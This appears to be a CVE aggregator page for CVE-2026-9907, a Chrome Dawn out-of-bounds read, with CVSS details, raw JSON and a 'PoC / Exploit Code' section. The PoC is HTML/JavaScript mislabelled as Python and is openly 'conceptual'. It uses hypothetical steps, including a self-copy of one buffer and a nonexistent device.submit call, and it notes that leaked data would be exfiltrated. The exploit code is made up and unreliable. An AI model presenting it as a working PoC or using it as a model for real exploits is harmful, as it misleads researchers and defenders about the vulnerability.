Security Vulnerability Report
中文
CVE-2026-9907 CVSS 4.3 MEDIUM

CVE-2026-9907

Published: 2026-05-28 23:16:49
Last Modified: 2026-05-29 18:17:14

Description

Out of bounds read in Dawn in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Windows < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Conceptual PoC for CVE-2026-9907 (Out-of-bounds read in Dawn) This PoC demonstrates how a crafted HTML page might trigger the vulnerability via WebGPU API to leak cross-origin data. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9907 PoC</title> </head> <body> <h1>Testing Chrome Dawn OOB Read</h1> <script> async function triggerVulnerability() { // Check if WebGPU is supported if (!navigator.gpu) { console.log("WebGPU not supported."); return; } const adapter = await navigator.gpu.requestAdapter(); const device = await adapter.requestDevice(); try { // Create a buffer with specific size to trigger memory layout issues const buffer = device.createBuffer({ size: 1024, usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_READ }); // Simulate a crafted shader or command that triggers OOB read // In a real exploit, this would involve specific WGSL code causing // the Dawn component to read past the buffer bounds. const commandEncoder = device.createCommandEncoder(); // Hypothetical malicious copy operation // This would normally be safe, but due to the bug, specific flags // or sizes trigger the OOB read in Dawn. commandEncoder.copyBufferToBuffer(buffer, 0, buffer, 1000, 100); device.submit([commandEncoder.finish()]); // Attempt to map the buffer to read leaked data await buffer.mapAsync(GPUMapMode.READ); const data = new Uint8Array(buffer.getMappedRange()); console.log("Potentially leaked data:", data); // In a real attack, this data would be exfiltrated to a remote server. } catch (error) { console.error("Exploit failed or triggered safety check:", error); } } triggerVulnerability(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9907", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:48.767", "lastModified": "2026-05-29T18:17:14.010", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in Dawn in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/499091269", "source": "[email protected]"}]}}